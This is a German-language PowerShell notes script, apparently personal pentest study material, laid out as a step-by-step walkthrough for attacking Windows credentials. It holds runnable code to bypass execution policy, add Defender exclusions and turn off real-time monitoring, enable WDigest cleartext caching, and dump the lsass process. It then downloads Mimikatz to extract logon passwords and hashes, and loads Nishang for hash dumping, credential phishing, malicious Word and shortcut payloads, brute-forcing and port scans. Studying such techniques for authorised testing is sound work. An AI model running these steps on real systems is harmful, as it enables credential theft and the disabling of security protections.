Private/Wissen/X11_Technology_HackingSecurity.ps1

# ? TITEL Hacking / Penetration-Testing
# ? DESCRIPTION mittels PowerShell Windows auf Schwachstellen prüfen
# ? TAGS ACL SecureString Password Penetration
# ? VERSION 2019.12.10

#region Sicherheits-Basic-Befehle

# ? Bestehende restriktive Execution Policy aushebeln (Get-Help -Name about_execution_policies -Online)
Get-Content -Path C:\Temp\test.ps1 | powershell.exe -NoProfile -

# ? NTFS Berechtigungen auslesen
Get-Acl -Path $env:windir | Select-Object -ExpandProperty Access

# ? Zufallspasswort generieren
$erlaubteZeichen = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!§$%&*~.,-"
-join ($erlaubteZeichen.ToCharArray() | Get-Random -Count 10)

# ? SecureString entschlüsseln
$cred = Get-Credential -Message "HR Leader" -UserName "mueller"
$cred.UserName
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($cred.Password))

# ? Besitzt der Benutzer Admin-Rechte
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object -TypeName Security.Principal.WindowsPrincipal -ArgumentList $identity
$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

#endregion

#region Windows-Passwörter mit MimiKatz auslesen

# ! Führen Sie alle PowerShell-Befehle mit privilegierten Administratoren-Rechten aus

# TODO Den Ordner C:\temp anlegen, als Ausnahme im Windows Defender hinterlegen und als Arbeitsverzeichnis setzen
New-Item -Path c:\Temp -ItemType Directory
Add-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location C:\temp

# TODO UseLogonCredential auf 1 setzen
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Value 1 -PropertyType DWord

# TODO Cmdlet erstellen um von Prozessen ein Speicher-Dump erstellen zu können
function Out-MiniDump {

    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
        [System.Diagnostics.Process]
        $Process,

        [ValidateScript({ Test-Path $_ })]
        [String]
        $DumpFilePath = $PWD
    )

    Begin {
        $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
        $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
        $Flags = [Reflection.BindingFlags]'NonPublic, Static'
        $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
        $MiniDumpWithFullMemory = [UInt32]2
    }

    Process {
        $ProcessId = $Process.Id
        $ProcessName = $Process.Name
        $ProcessHandle = $Process.Handle
        $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
        $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
        $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
        $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
                                                     $ProcessId,
                                                     $FileStream.SafeFileHandle,
                                                     $MiniDumpWithFullMemory,
                                                     [IntPtr]::Zero,
                                                     [IntPtr]::Zero,
                                                     [IntPtr]::Zero))
        $FileStream.Close()
        if (-not $Result) {
            $Exception = New-Object ComponentModel.Win32Exception
            $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
            Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
            throw $ExceptionMessage
        }
        else {
            Get-ChildItem $ProcessDumpPath
        }
    }
    END {}
}

# TODO MimiKatz als 7Zip-Datei von GitHub downloaden
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls11,Tls12'
Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.7z' -OutFile ".\mimikatz_trunk.7z"

# TODO 7Zip-Modul installieren und MimiKatz zu entpacken
Install-Module -Name 7Zip4Powershell -Scope CurrentUser -Force -AllowClobber
Expand-7Zip -ArchiveFileName .\mimikatz_trunk.7z -TargetPath .\

# TODO Einen Speicher-Dump vom lsass-Prozess erstellen und Dateiname kopieren
Get-Process lsass | Out-Minidump
Get-ChildItem -Path .\lsass_*.dmp

# TODO MimiKatz starten ...
Start-Process -FilePath .\x64\mimikatz.exe
# TODO .. und folgende Befehle eingaben:
# sekurlsa::minidump C:\temp\lsass_784.dmp
# sekurlsa::logonPasswords full
# ! TATA Eine Übersicht angemeldeter Usern mit Benutzername, Passwörter Hash-Werten

# TODO Aufräumen
Remove-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
Remove-Module -Name 7Zip4Powershell -Force
Uninstall-Module -Name 7Zip4Powershell -Force
Set-Location -Path $env:USERPROFILE
Remove-Item C:\temp\ -Recurse -Force

#endregion

#region Penetration-Testing-Framework (Nishang)

# ? Nishang ist ein eine Sammlung von PowerShell-Skripten um die Sicherheit offensiv per Penetration testen zu können (PenTest). Nishang ist in den
# ? verschiedenen Phasen eines Sicherheitsauditprozesses nützlich und verfügt Skripte wie der Informationsbeschaffung, des Scannens,
# ? der Berechtigungserweiterung und viele mehr.

# TODO Nishang (https://github.com/samratashok/nishang)
# TODO PowerShell Penetration Testing Framework: Nishang (https://n0where.net/powershell-penetration-testing-framework-nishang)
# TODO Hacking In Windows Using Nishang With Windows PowerShell, Like A Boss! (Start-Process https://serenity-networks.com/hacking-in-windows-using-nishang-with-windows-powershell)

# TODO Vorbereitung
New-Item -Path c:\Temp -ItemType Directory
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location C:\temp

# TODO Nishang einrichten
Invoke-WebRequest -Uri "https://github.com/samratashok/nishang/archive/master.zip" -OutFile ".\nishang.zip"
Expand-Archive -Path ".\nishang.zip" -DestinationPath "." -Force
Rename-Item -Path .\nishang-master -NewName nishang -Force
Get-ChildItem -Path '.\nishang' -Recurse | Unblock-File
Import-Module -Name .\nishang -Verbose

# TODO Hier ein paar Anregungen welche macht das Modul nishang
Get-Information # ! Interessante System-Informationen auslesen
Get-PassHashes # ! Password-Hash'es auslesen
Get-WebCredentials # ! Anmeldungen Internet-Portalen auslesen
Out-Word -Payload 'powershell.exe -ExecutionPolicy Bypass -noprofile' # ! Unbeaufsichtigter per Word starten
Out-Shortcut -Payload 'powershell.exe -ExecutionPolicy Bypass -noprofile' # ! Unbeaufsichtigter per Verknüpfung starten

ConvertTo-ROT13 -rot13string "hallo köln" # ! Gesammelte Daten verschlüsseln
Show-TargetScreen 127.0.0.1 # ! Screen-View eines Ziel-Rechners
Invoke-PortScan 192.168.103.156 192.168.103.156 -ScanPort # ! TCP/IP-Ports scannen
Get-help Get-Wlan-Keys -full # ! WLAN-Schlüssel auslesen
Invoke-CredentialsPhish # ! Username und Password-Phishing
Invoke-MimiKatzWDigestDowngrade # ! Passwort-Zwischenspeicherung aktivieren
Invoke-MimiKatz # ! Passwörter auslesen
Invoke-BruteForce # ! Brute-Force-Angriff starten
Get-Command -Module nishang | Out-GridView # ! Und vieles mehr ...

# TODO Aufräumen
Remove-Module -Name nishang -Force
Remove-Item -Path .\nishang -Force -Recurse
Remove-Item -Path .\nishang.zip -Force
Set-MpPreference -DisableRealtimeMonitoring $false
Remove-MpPreference -ExclusionPath "C:\Temp" -Force

#endregion